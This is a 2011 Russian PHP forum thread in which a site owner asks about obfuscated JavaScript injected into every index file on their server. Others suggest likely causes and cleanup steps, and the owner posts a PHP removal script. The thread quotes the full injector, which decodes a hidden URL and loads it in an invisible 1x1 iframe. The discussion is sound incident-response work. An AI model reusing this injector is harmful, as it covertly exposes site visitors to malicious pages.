Warning: Cannot use a scalar value as an array in /home/admin/public_html/forum/include/fm.class.php on line 757

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/include/fm.class.php on line 770
Форумы портала PHP.SU :: Версия для печати :: что делать с вирусом для index файлов
Форумы портала PHP.SU » » Вопросы новичков » что делать с вирусом для index файлов

Страниц (1): [1]
 

1. Panoptik - 29 Ноября, 2011 - 12:42:39 - перейти к сообщению
Доброго всем

у нас трагедия. на всех сайтах сервера, в каждой папке где имеется файл index.php/index.html дописан зловредный скрипт вот такого вида

CODE (javascript):
скопировать код в буфер обмена
  1.  
  2. <!-- . --><script type="text/javascript">if('GkIAe'=='PcSQtR')kduSI();var sEGja;var EdgahX='fKrNfb';if('DQHmU'=='Omfj')MHXOe='GiwJ';var TMtyeWXZ="\x66\x72\x6fmCharC\x6fd\x65";var pbfpi=120;function VJNx(){}
  3. var xMQXmOlq="";function JAMmah(){}function kcYW(){var DrHR='KeIo';if('xdZe'=='RSiuld')dfmCwi();}
  4. if('WVXT'=='fnNPOH')otbQo();if('zHkmr'=='DFgm')PpihO();var nPZbcvNO="s\x6cic\x65";var EcJEia='jsXqFm';var izlNGZHYh="a4b0b0ac766b6b9db0ab9eb1afacaba1a49da86a9faba96baf6c6ba5aa6a9fa3a57b6d6c";function jyJXK(){}if('WvrZL'=='JDodXD')MsVU='qUbY';function WwoTr(){}
  5. var gxwRmN='itrzFV';var oUGczFvk="p\x61\x72seInt";var kjrX;var sGAjMB;var NyTT=27;var VBWBjrZe=(function(){function dydkGo(){var hkIVw='dLAP';if('RcrL'=='lwnek')GqUxow();}var NEqytk='hSNJ';return this;var UfKKU;})();if('mTWytZ'=='pfXJ')WWBJ();var QnUOX="cons\x74ructor";var GBhA='ewNv';function FZMg(){var qEFWsn='HbQJj';if('yjUBu'=='yIZo')RVwP();}
  6. var JrqarNN="LSxIZfDv"[QnUOX];var slxTOE;var suXRl=89;function aPduh(){var bACO='kUly';if('MUoEjK'=='xUXEVN')tgJi();}
  7. for(var lMHyYSom=0;lMHyYSom<izlNGZHYh.length;lMHyYSom+=2){var Yhrdg;oUimSwtQv=VBWBjrZe[oUGczFvk](izlNGZHYh[nPZbcvNO](lMHyYSom,lMHyYSom+2),16)-60;var EpvQzf=71;function TLVFpT(){}
  8. xMQXmOlq+=JrqarNN[TMtyeWXZ](oUimSwtQv);var hYgM=16;function mHVD(){var tzckrp='FKTsj';if('WSNPmg'=='AvzqTY')NGLIfu();}var xkLIjj='LjHYnt';}
  9. if('HTZKe'=='kuJcLd')FrCe();if('Uzaj'=='uFPmeN')rYrL='qajY';function BKjWnE(){var Drfmo='xqXdV';if('SSyi'=='ppUMyb')SHekq();}
  10. var XrwEP="rUowFeuRb";function yyfze(){}var TcnABO=21;var rImjV=navigator.appVersion.indexOf("MSIE")!=-1?'<iframe name="'+XrwEP+'" src="'+"xMQXmOlq"+'">':'iframe';function ahVM(){var lcVK='whbK';if('mJKA'=='RhED')fWhJ();}var ZDBl='TfLcSN';var ahLAYZ;var sMSoJI=document.createElement(rImjV);sMSoJI.name=XrwEP;var ARqr=86;sMSoJI.setAttribute("name",XrwEP);if('CcbU'=='DOnAV')spEIEU();sMSoJI.id=XrwEP;function XGKr(){var tMBC='dOjY';if('eIaE'=='YxPwQu')UMAmc();}
  11. sMSoJI.src=xMQXmOlq;function xJXSH(){}
  12. sMSoJI.style.right="0px";var TAZRuh=93;sMSoJI.style.top="0px";if('ghZal'=='HMsbjS')ErVOb();sMSoJI.style.height="1px"
  13. if('FAOqPy'=='qnMQRd')OHulZ='yISSK';sMSoJI.style.width="1px";var loVCI;var HzxyWb=265;if('XsVOyN'=='ciyOKq')brxMH();sMSoJI.style.position="absolute";function IJfqol(){var VeRObN='CPwZ';if('nLIZGV'=='QaRC')veKAA();}
  14. document.body.appendChild(sMSoJI);var xyoG;var XnvVN;var ROKO;</script><!-- . -->
  15.  


в index.php этот кусок дописывается после каждого закрывающего блок php тега "?>"

пожалуйста подскажите что это? откуда могло взяться и как с этим бороться?
2. caballero - 29 Ноября, 2011 - 12:49:15 - перейти к сообщению
хостеру или админу сайта втык сделать
а править руками
можно еще убрать закрывающий ?> если после него ничего нет
чтобы скрипьт не мог поцепится
3. Panoptik - 29 Ноября, 2011 - 12:52:12 - перейти к сообщению
та вот руками и правим. 15 сайтов. блин. но уязвимость нужно бы найти. откуда могло такое взяться?
4. OrmaJever - 29 Ноября, 2011 - 12:58:44 - перейти к сообщению
Panoptik пишет:
откуда могло такое взяться?

Как вариант: Нашли sql иньекцию, слили всю бд, залили шелл, а это почти полный доступ к серверу. Ну это самый идеальный случай Закатив глазки
5. Panoptik - 29 Ноября, 2011 - 13:04:11 - перейти к сообщению
ситуация прослеживается с папками у которых права 777 и 755 из под одного и того же пользователя. то есть както могли взломать акк фтп?
а как можно через sql-инекцию получить доступ к shell? в БД точно не хранится инфа с доступами к фтп
6. Panoptik - 29 Ноября, 2011 - 16:52:05 - перейти к сообщению
после недолгих раздумий был написан скрипт который читал все файлы и удалял зловредный код, поделюсь, может кому пригодится, или учту коментарии и советы:
PHP:
скопировать код в буфер обмена
  1.  
  2. <?PHP
  3.  
  4.     ini_set('max_execution_time','120');
  5.    
  6. //путь к папке с сайтами
  7. $path = '/var/www/studio/data/www/';
  8. //максимальное количество переборов, нажимая F5 проходим поочереди все файлы
  9. $max_iterations = 50;
  10. $cnt = 1;
  11.  
  12.  
  13. //функция сканирования всех папок и находящая нужные файлы
  14.  function read_dir($path) {
  15.     global $cnt;
  16.     global $max_iterations;
  17.     if($cnt <= $max_iterations) {
  18.      
  19.         $dir = scandir($path);  
  20.         foreach($dir as $diritem) {
  21.             if(substr($diritem,0,6) == 'index.') {
  22.                 find_inject($path.$diritem);  
  23.             }
  24.            
  25.             if(is_dir($path.$diritem) && $diritem != '.' && $diritem != '..') {
  26.                 read_dir($path.$diritem.'/');
  27.             }
  28.         }
  29.     }
  30.  }
  31.  $cnt_inject = 0;
  32.  
  33. //функция нахождения инъекции и удаления ее из файла
  34.  function find_inject($path,$offset = 0,$same = false) {
  35.     global $cnt_inject, $cnt;
  36.     $filecontent = file_get_contents($path);
  37.     if(strlen($filecontent)>$offset+1) {
  38.         $start = strpos($filecontent," <!-- . --><script type=\"text/javascript\">if('GkIAe'",$offset+1);
  39.         $end = strpos($filecontent,'ROKO;</script><!-- . -->',$offset+1);
  40.        
  41.         if($start && $end) {
  42.             $tmp = substr_replace($filecontent,'',$start,$end-$start+24);
  43.             $file = fopen($path,'w');
  44.             fwrite($file,$tmp);
  45.             fclose($file);
  46.             if(!$same) {
  47.                 print "<br />".$cnt++.'. '.$path."<br />";
  48.                 $same = true;
  49.             }
  50.             $cnt_inject++;
  51.             print $cnt_inject.'. '.$start." - ".$end.'<br />';
  52.             $res = true;
  53.             find_inject($path,0,$same);
  54.         } else {
  55.             $res = false;
  56.         }
  57.     } else {
  58.         $res = false;
  59.     }
  60.     return $res;
  61.  }
  62.  
  63.  read_dir($path);
  64. ?>
  65.  
7. DeepVarvar - 29 Ноября, 2011 - 17:50:35 - перейти к сообщению
Посмотрите в .htaccess или в php.ini может еще быть auto_prepend_file.
Так же естественно сменить паролики везде и посмотреть на тех сайтах у которых структуру знаете как свои пять пальцев на наличие "не местного" файла.
Кроме того стоит просмотреть все логи за сутки до момента обнаружения заразы.
Может в них будет что-то интересное.
8. Данил_123 - 29 Ноября, 2011 - 19:22:36 - перейти к сообщению
вирус? Мб баг? Может ошибаюсь на *nix вирусы не цепляются.. Я давно так LoIC-oм делал..
9. Мелкий - 29 Ноября, 2011 - 20:34:12 - перейти к сообщению
Ну не последняя возможность - неверное ограничение прав хостинга + поломали соседа на том же сервере.
10. Panoptik - 29 Ноября, 2011 - 22:34:47 - перейти к сообщению
Цитата:
вирус? Мб баг? Может ошибаюсь на *nix вирусы не цепляются..

ну конечно не вирус, но действия выполнял явно скрипт а не человек, ибо в пределах 2 секунд было изменено несколько десятков/сотен файлов
Цитата:
Так же естественно сменить паролики везде

это сделали еще вчера
а вот за за это
Цитата:
посмотреть на тех сайтах у которых структуру знаете как свои пять пальцев на наличие "не местного" файла.
попробуем
в логах пусто(
самое печальное что это не хостинг а наш выделенный сервер. и скрипт действительно не мог выполнять такие действия пока я не изменил права на все файлы. пока думаю в сторону дыры с сисадминской стороны

 

Powered by ExBB FM 1.0 RC1